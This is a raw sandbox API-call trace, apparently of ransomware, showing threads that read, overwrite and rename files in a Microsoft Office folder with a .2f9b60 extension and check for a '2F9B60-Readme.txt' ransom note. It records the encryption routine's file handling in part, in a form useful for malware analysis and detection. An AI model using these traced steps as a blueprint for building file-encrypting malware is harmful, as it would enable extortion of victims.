[0090.992] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\9f0d2b2109.2f9b60", NtPathName=0x26abfd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\9f0d2b2109.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0090.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7adde0 [0091.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adde0) returned 1 [0091.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0091.158] NtQueryInformationFile (in: FileHandle=0xa9c, IoStatusBlock=0x26abfdd8, FileInformation=0x26abfde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x26abfdd8, FileInformation=0x26abfde8) returned 0x0 [0091.158] NtSetInformationFile (FileHandle=0xa9c, IoStatusBlock=0x26abfdd8, FileInformation=0x26abfde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d380) returned 1 [0091.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d3d0) returned 1 [0091.659] FlushFileBuffers (hFile=0xa9c) returned 1 [0091.681] CloseHandle (hObject=0xa9c) returned 1 [0091.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4d380 [0091.714] wcscpy (in: _Dest=0x1cf4d380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0091.714] wcscat (in: _Dest=0x1cf4d380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0091.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0091.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d380) returned 1 [0091.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 Thread: id = 388 os_tid = 0xf40 [0090.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng")) returned 0x20 [0090.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG", dwFileAttributes=0x20) returned 1 [0090.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaa0 [0090.113] GetFileSizeEx (in: hFile=0xaa0, lpFileSize=0x267dfa60 | out: lpFileSize=0x267dfa60*=311852) returned 1 [0090.113] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x4c228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.113] ReadFile (in: hFile=0xaa0, lpBuffer=0x267df9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x267dfa28, lpOverlapped=0x0 | out: lpBuffer=0x267df9e0*, lpNumberOfBytesRead=0x267dfa28*=0x4, lpOverlapped=0x0) returned 1 [0090.217] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0090.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a090 [0090.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d00 [0090.217] NtQuerySystemTime (in: CurrentTime=0x267df920 | out: CurrentTime=0x267df920*=132462176960722000) returned 0x0 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x41f8f132 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x1562757f [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x5cc49746 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x7bc05185 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x38b8c37b [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x708367b6 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x37326bc5 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x34289302 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x6e69a893 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x37fc4398 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x34ab6ac3 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x61ccba92 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x41ec3656 [0090.217] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x7a911210 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x835c26a [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x28724c50 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x4b8f4d65 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x1c208224 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x97bd255 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x7c566ebe [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x40de49e5 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x50731877 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x56355109 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x3e7f1424 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x6794b548 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x28f74f8d [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x3df36c99 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x44e96dca [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x70d0506d [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x33c5fe10 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x27964786 [0090.218] RtlRandomEx (in: Seed=0x267df910 | out: Seed=0x267df910) returned 0x6dcf037c [0090.226] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.226] ReadFile (in: hFile=0xaa0, lpBuffer=0x1ceffea0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x267df980, lpOverlapped=0x0 | out: lpBuffer=0x1ceffea0*, lpNumberOfBytesRead=0x267df980*=0x3c00, lpOverlapped=0x0) returned 1 [0090.258] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e890 [0090.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0090.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0090.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf076c0 [0090.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0090.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0090.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859dc0) returned 1 [0090.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 [0090.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.259] WriteFile (in: hFile=0xaa0, lpBuffer=0x1cf076c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x267df980, lpOverlapped=0x0 | out: lpBuffer=0x1cf076c0*, lpNumberOfBytesWritten=0x267df980*=0x3c00, lpOverlapped=0x0) returned 1 [0098.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf076c0) returned 1 [0098.418] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.418] ReadFile (in: hFile=0xaa0, lpBuffer=0x1ceffea0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x267df980, lpOverlapped=0x0 | out: lpBuffer=0x1ceffea0*, lpNumberOfBytesRead=0x267df980*=0x3c00, lpOverlapped=0x0) returned 1 [0099.228] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0099.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ac0 [0099.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618b0 [0099.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618b0) returned 1 [0099.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b98d0 [0099.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618b0 [0099.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261940 [0099.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261940) returned 1 [0099.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0099.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0099.229] WriteFile (in: hFile=0xaa0, lpBuffer=0x202b98d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x267df980, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesWritten=0x267df980*=0x3c00, lpOverlapped=0x0) returned 1 [0099.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b98d0) returned 1 [0099.727] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x4862c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.727] ReadFile (in: hFile=0xaa0, lpBuffer=0x1ceffea0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x267df980, lpOverlapped=0x0 | out: lpBuffer=0x1ceffea0*, lpNumberOfBytesRead=0x267df980*=0x3c00, lpOverlapped=0x0) returned 1 [0100.274] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x4862c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0100.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0100.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b900b0 [0100.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261310 [0100.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612b0 [0100.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202612b0) returned 1 [0100.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0100.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0100.807] WriteFile (in: hFile=0xaa0, lpBuffer=0x41b900b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x267df980, lpOverlapped=0x0 | out: lpBuffer=0x41b900b0*, lpNumberOfBytesWritten=0x267df980*=0x3c00, lpOverlapped=0x0) returned 1 [0159.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b900b0) returned 1 [0159.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e1e0 [0159.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261310) returned 1 [0159.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618b0) returned 1 [0159.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0159.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceffea0) returned 1 [0159.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b859ee0 [0159.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0159.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7370 [0159.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3d70 [0159.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3d70) returned 1 [0159.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb3d70 [0159.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3da0 [0159.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3dd0 [0159.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3dd0) returned 1 [0159.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7370) returned 1 [0159.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0159.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x148) returned 0x1cebc970 [0159.370] SetFilePointerEx (in: hFile=0xaa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.370] WriteFile (in: hFile=0xaa0, lpBuffer=0x1cebc970*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x267dfa30, lpOverlapped=0x0 | out: lpBuffer=0x1cebc970*, lpNumberOfBytesWritten=0x267dfa30*=0x148, lpOverlapped=0x0) returned 1 [0162.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ce0 [0162.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ce0) returned 1 [0162.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0162.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ce0 [0162.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7cb0 [0162.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7cb0) returned 1 [0162.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fc70 [0162.721] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="e9") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="d9") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="cc") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="93") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="63") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="5c") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="36") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="7a") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="65") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="5a") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="89") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="6e") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="a3") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="eb") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="1c") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="c9") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="52") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="36") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="37") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="79") returned 2 [0162.721] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="40") returned 2 [0162.722] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="3c") returned 2 [0162.722] RtlInitAnsiString (in: DestinationString=0x267dfaa8, SourceString="e9d9cc93635c367a655a896ea3eb1cc952363779403c" | out: DestinationString="e9d9cc93635c367a655a896ea3eb1cc952363779403c") [0162.722] RtlAnsiStringToUnicodeString (in: DestinationString=0x267dfa78, SourceString="e9d9cc93635c367a655a896ea3eb1cc952363779403c", AllocateDestinationString=1 | out: DestinationString="e9d9cc93635c367a655a896ea3eb1cc952363779403c") returned 0x0 [0162.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e2c0 [0162.722] RtlFreeAnsiString (AnsiString="e") [0162.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0162.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0162.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ce0) returned 1 [0162.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc970) returned 1 [0162.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3d70) returned 1 [0162.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3da0) returned 1 [0162.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0162.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e1e0) returned 1 [0162.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a090) returned 1 [0162.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d60) returned 1 [0162.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a000) returned 1 [0162.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85b910 [0162.726] wcscat (in: _Dest=0x1b85b910, _Source="e9d9cc93635" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\e9d9cc93635") returned="C:\\Program Files\\Microsoft Office\\Office14\\e9d9cc93635" [0162.726] wcscat (in: _Dest=0x1b85b910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\e9d9cc93635.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\e9d9cc93635.2f9b60" [0162.726] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\e9d9cc93635.2f9b60", NtPathName=0x267dfa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\e9d9cc93635.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0162.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c500 Thread: id = 389 os_tid = 0xf44 [0090.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 0x20 [0090.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD", dwFileAttributes=0x20) returned 1 [0090.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaa4 [0090.118] GetFileSizeEx (in: hFile=0xaa4, lpFileSize=0x26a3f7e0 | out: lpFileSize=0x26a3f7e0*=85920) returned 1 [0090.118] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0x14f9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.118] ReadFile (in: hFile=0xaa4, lpBuffer=0x26a3f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26a3f7a8, lpOverlapped=0x0 | out: lpBuffer=0x26a3f760*, lpNumberOfBytesRead=0x26a3f7a8*=0x4, lpOverlapped=0x0) returned 1 [0090.155] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0090.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0090.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0090.155] NtQuerySystemTime (in: CurrentTime=0x26a3f6a0 | out: CurrentTime=0x26a3f6a0*=132462176960254000) returned 0x0 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x5f338953 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x40b6bc7 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x774ab7c5 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x2d7ed59d [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x667809e8 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x632207c8 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x705ecda0 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x5d479aa2 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x3ef5eb55 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x6479f52c [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x75581491 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x69f6dc42 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x64b65410 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x2fec8e9f [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x1ecc3135 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0xe8d4f4b [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x9e51fcc [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x3e51569e [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x542f4801 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x11bac2fe [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x2515ab41 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x4e416093 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x61d522e8 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x5c16bb77 [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x746b622e [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x1037a03d [0090.156] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x3b1b3c53 [0090.157] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x75d9ca7d [0090.157] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x2ee7e92b [0090.157] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x1cbf13d9 [0090.157] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x5525a998 [0090.157] RtlRandomEx (in: Seed=0x26a3f690 | out: Seed=0x26a3f690) returned 0x4436a27c [0090.167] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.167] ReadFile (in: hFile=0xaa4, lpBuffer=0x1cef0e60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26a3f700, lpOverlapped=0x0 | out: lpBuffer=0x1cef0e60*, lpNumberOfBytesRead=0x26a3f700*=0x3c00, lpOverlapped=0x0) returned 1 [0090.206] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 